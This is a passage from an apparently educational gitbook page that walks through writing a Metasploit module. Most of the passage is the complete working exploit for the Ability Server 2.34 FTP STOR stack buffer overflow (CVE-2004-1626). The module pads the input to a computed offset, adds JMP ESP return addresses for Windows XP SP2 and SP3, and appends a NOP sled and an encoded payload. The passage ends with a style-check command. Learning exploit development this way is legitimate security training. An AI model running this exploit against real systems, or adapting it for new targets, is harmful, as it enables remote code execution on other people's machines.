    <span class="hljs-keyword">return</span> <span class="hljs-constant">Exploit::CheckCode::Appears</span>
  <span class="hljs-keyword">else</span>
    <span class="hljs-keyword">if</span> banner =~ <span class="hljs-regexp">/Ability Server/</span>
      <span class="hljs-keyword">return</span> <span class="hljs-constant">Exploit::CheckCode::Detected</span>
    <span class="hljs-keyword">end</span>
  <span class="hljs-keyword">end</span>
  <span class="hljs-keyword">return</span> <span class="hljs-constant">Exploit::CheckCode::Safe</span>
<span class="hljs-keyword">end</span>
</code></pre>
<ul>
<li style="list-style: none"><input type="checkbox" disabled="disabled" checked="checked"> Send the exploit</li>
</ul>
<pre><code class="lang-ruby"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">exploit</span></span>
  c = connect_login
  <span class="hljs-keyword">return</span> <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> c

  myhost = datastore[<span class="hljs-string">&apos;LHOST&apos;</span>] == <span class="hljs-string">&apos;0.0.0.0&apos;</span> ? <span class="hljs-constant">Rex::Socket</span>.source_address <span class="hljs-symbol">:</span> datastore[<span class="hljs-string">&apos;LHOST&apos;</span>]

  <span class="hljs-comment"># Take client IP address + FTP user lengths into account for EIP offset</span>
  padd_size = target[<span class="hljs-string">&apos;Offset&apos;</span>] + (<span class="hljs-number">13</span> - myhost.length) + (<span class="hljs-number">3</span> - datastore[<span class="hljs-string">&apos;FTPUSER&apos;</span>].length)
  junk = rand_text_alpha(padd_size)

  sploit = junk
  sploit &lt;&lt; [target.ret].pack(<span class="hljs-string">&apos;V&apos;</span>)
  sploit &lt;&lt; make_nops(<span class="hljs-number">32</span>)
  sploit &lt;&lt; payload.encoded
  sploit &lt;&lt; rand_text_alpha(sploit.length)

  send_cmd([<span class="hljs-string">&apos;STOR&apos;</span>, sploit], <span class="hljs-keyword">false</span>)
  handler
  disconnect
<span class="hljs-keyword">end</span>
</code></pre>
<h3 id="wrapping-up"><a name="wrapping-up" class="plugin-anchor" href="#wrapping-up"><span class="fa fa-link"></span></a>Wrapping up</h3>
<pre><code class="lang-ruby"><span class="hljs-comment">##</span>
<span class="hljs-comment"># This module requires Metasploit: http://metasploit.com/download</span>
<span class="hljs-comment"># Current source: https://github.com/rapid7/metasploit-framework</span>
<span class="hljs-comment">##</span>

<span class="hljs-keyword">require</span> <span class="hljs-string">&apos;msf/core&apos;</span>

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Metasploit3</span> <span class="hljs-inheritance">&lt; <span class="hljs-parent">Msf::Exploit</span></span>::<span class="hljs-title">Remote</span></span>
  <span class="hljs-constant">Rank</span> = <span class="hljs-constant">NormalRanking</span>

  <span class="hljs-keyword">include</span> <span class="hljs-constant">Msf::Exploit::Remote::Ftp</span>

 <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">initialize</span><span class="hljs-params">(info = {})</span></span>
    <span class="hljs-keyword">super</span>(update_info(
      info,
      <span class="hljs-string">&apos;Name&apos;</span>            =&gt; <span class="hljs-string">&apos;Ability Server 2.34 STOR Command Stack Buffer Overflow&apos;</span>,
      <span class="hljs-string">&apos;Description&apos;</span>     =&gt; <span class="hljs-string">%q{
        This module exploits a stack-based buffer overflow in Ability Server 2.34.
        Ability Server fails to check input size when parsing &apos;STOR&apos; and &apos;APPE&apos; commands,
        which leads to a stack based buffer overflow. This plugin uses the &apos;STOR&apos; command.

        The vulnerability has been confirmed on version 2.34 and has also been reported
        in version 2.25 and 2.32. Other versions may also be affected.}</span>,
      <span class="hljs-string">&apos;License&apos;</span>         =&gt; <span class="hljs-constant">MSF_LICENSE</span>,
      <span class="hljs-string">&apos;Author&apos;</span>          =&gt;
        [
          <span class="hljs-string">&apos;muts&apos;</span>,            <span class="hljs-comment"># Initial discovery</span>
          <span class="hljs-string">&apos;Dark Eagle&apos;</span>,      <span class="hljs-comment"># same as muts</span>
          <span class="hljs-string">&apos;Peter Osterberg&apos;</span>, <span class="hljs-comment"># Metasploit</span>
          <span class="hljs-string">&apos;Ruby (@Rubyfu)&apos;</span>,  <span class="hljs-comment"># Just explain the module</span>
        ],
      <span class="hljs-string">&apos;References&apos;</span>      =&gt;
        [
          [ <span class="hljs-string">&apos;CVE&apos;</span>, <span class="hljs-string">&apos;2004-1626&apos;</span> ],
          [ <span class="hljs-string">&apos;OSVDB&apos;</span>, <span class="hljs-string">&apos;11030&apos;</span>],
          [ <span class="hljs-string">&apos;EDB&apos;</span>, <span class="hljs-string">&apos;588&apos;</span>],
          [<span class="hljs-string">&apos;URL&apos;</span>, <span class="hljs-string">&apos;http://rubyfu.net&apos;</span>] <span class="hljs-comment"># Just explain the module</span>
        ],
      <span class="hljs-string">&apos;Platform&apos;</span>       =&gt; <span class="hljs-string">%w{ win }</span>,
      <span class="hljs-string">&apos;Targets&apos;</span>        =&gt;
        [
          [
            <span class="hljs-string">&apos;Windows XP SP2 ENG&apos;</span>,
            {
              <span class="hljs-comment">#JMP ESP  (MFC42.dll. Addr remains unchanged until a patched SP3)</span>
              <span class="hljs-string">&apos;Ret&apos;</span> =&gt; <span class="hljs-number">0x73E32ECF</span>,
              <span class="hljs-string">&apos;Offset&apos;</span> =&gt; <span class="hljs-number">966</span>
            }
          ],
          [
            <span class="hljs-string">&apos;Windows XP SP3 ENG&apos;</span>,
            {
              <span class="hljs-comment">#JMP ESP  (USER32.dll. Unchanged unpatched SP3 - fully patched)</span>
              <span class="hljs-string">&apos;Ret&apos;</span> =&gt; <span class="hljs-number">0x7E429353</span>,
              <span class="hljs-string">&apos;Offset&apos;</span> =&gt; <span class="hljs-number">966</span>
            }
          ],
        ],
      <span class="hljs-string">&apos;DefaultTarget&apos;</span>   =&gt; <span class="hljs-number">0</span>,
      <span class="hljs-string">&apos;DisclosureDate&apos;</span> =&gt; <span class="hljs-string">&apos;Oct 22 2004&apos;</span>
    ))

    register_options(
      [
        <span class="hljs-constant">Opt::RPORT</span>(<span class="hljs-number">21</span>),
        <span class="hljs-constant">OptString</span>.new(<span class="hljs-string">&apos;FTPUSER&apos;</span>, [ <span class="hljs-keyword">true</span>, <span class="hljs-string">&apos;Valid FTP username&apos;</span>, <span class="hljs-string">&apos;ftp&apos;</span> ]),
        <span class="hljs-constant">OptString</span>.new(<span class="hljs-string">&apos;FTPPASS&apos;</span>, [ <span class="hljs-keyword">true</span>, <span class="hljs-string">&apos;Valid FTP password for username&apos;</span>, <span class="hljs-string">&apos;ftp&apos;</span> ])
      ], <span class="hljs-keyword">self</span>.<span class="hljs-keyword">class</span>)
  <span class="hljs-keyword">end</span>

  <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">check</span></span>
    connect
    disconnect
    <span class="hljs-keyword">if</span> banner =~ <span class="hljs-regexp">/Ability Server 2\.34/</span>
      <span class="hljs-keyword">return</span> <span class="hljs-constant">Exploit::CheckCode::Appears</span>
    <span class="hljs-keyword">else</span>
      <span class="hljs-keyword">if</span> banner =~ <span class="hljs-regexp">/Ability Server/</span>
        <span class="hljs-keyword">return</span> <span class="hljs-constant">Exploit::CheckCode::Detected</span>
      <span class="hljs-keyword">end</span>
    <span class="hljs-keyword">end</span>
    <span class="hljs-keyword">return</span> <span class="hljs-constant">Exploit::CheckCode::Safe</span>
  <span class="hljs-keyword">end</span>

  <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">exploit</span></span>
    c = connect_login
    <span class="hljs-keyword">return</span> <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> c

    myhost = datastore[<span class="hljs-string">&apos;LHOST&apos;</span>] == <span class="hljs-string">&apos;0.0.0.0&apos;</span> ? <span class="hljs-constant">Rex::Socket</span>.source_address <span class="hljs-symbol">:</span> datastore[<span class="hljs-string">&apos;LHOST&apos;</span>]

    <span class="hljs-comment"># Take client IP address + FTP user lengths into account for EIP offset</span>
    padd_size = target[<span class="hljs-string">&apos;Offset&apos;</span>] + (<span class="hljs-number">13</span> - myhost.length) + (<span class="hljs-number">3</span> - datastore[<span class="hljs-string">&apos;FTPUSER&apos;</span>].length)
    junk = rand_text_alpha(padd_size)

    sploit = junk
    sploit &lt;&lt; [target.ret].pack(<span class="hljs-string">&apos;V&apos;</span>)
    sploit &lt;&lt; make_nops(<span class="hljs-number">32</span>)
    sploit &lt;&lt; payload.encoded
    sploit &lt;&lt; rand_text_alpha(sploit.length)

    send_cmd([<span class="hljs-string">&apos;STOR&apos;</span>, sploit], <span class="hljs-keyword">false</span>)
    handler
    disconnect
  <span class="hljs-keyword">end</span>
<span class="hljs-keyword">end</span>
</code></pre>
<ul>
<li style="list-style: none"><input type="checkbox" disabled="disabled" checked="checked"> Check if the module has been written correctly (msftidy.rb)</li>
</ul>
<pre><code>metasploit-framework/tools/dev/msftidy.rb ability_server_stor.rb
</code></pre>
                    
                    </section>
                
                
                </div>
            </div>
        </div>

        
        <a href="../module_0x5__exploitation_kung_fu/auxiliary_module.html" class="navigation navigation-prev " aria-label="Previous page: Auxiliary module"><i class="fa fa-angle-left"></i></a>
        
        
        <a href="../module_0x5__exploitation_kung_fu/meterpreter.html" class="navigation navigation-next " aria-label="Next page: Meterpreter"><i class="fa fa-angle-right"></i></a>
        
    </div>
</div>

        
<script src="../gitbook/app.js"></script>

    
    <script src="../gitbook/plugins/gitbook-plugin-splitter/splitter.js"></script>
    

    
    <script src="../gitbook/plugins/gitbook-plugin-book-summary-scroll-position-saver/book-summary-scroll-position-saver.js"></script>
    

    
    <script src="../gitbook/plugins/gitbook-plugin-expandable-chapters/expandable-chapters.js"></script>
    

    
    <script src="../gitbook/plugins/gitbook-plugin-search/lunr.min.js"></script>
    

    
    <script src="../gitbook/plugins/gitbook-plugin-search/search.js"></script>
    

    
    <script src="../gitbook/plugins/gitbook-plugin-sharing/buttons.js"></script>
    

    
    <script src="../gitbook/plugins/gitbook-plugin-fontsettings/buttons.js"></script>
    

<script>
require(["gitbook"], function(gitbook) {
    var config = {"addcssjs":{"js":["styles/header.js"]},"anchors":{},"todo":{},"splitter":{},"book-summary-scroll-position-saver":{},"expandable-chapters":{},"highlight":{},"search":{"maxIndexSize":1000000},"sharing":{"facebook":true,"twitter":true,"google":false,"weibo":false,"instapaper":false,"vk":false,"all":["facebook","google","twitter","weibo","instapaper"]},"fontsettings":{"theme":"white","family":"sans","size":2}};
    gitbook.start(config);
});
</script>

        
    </body>
    
</html>
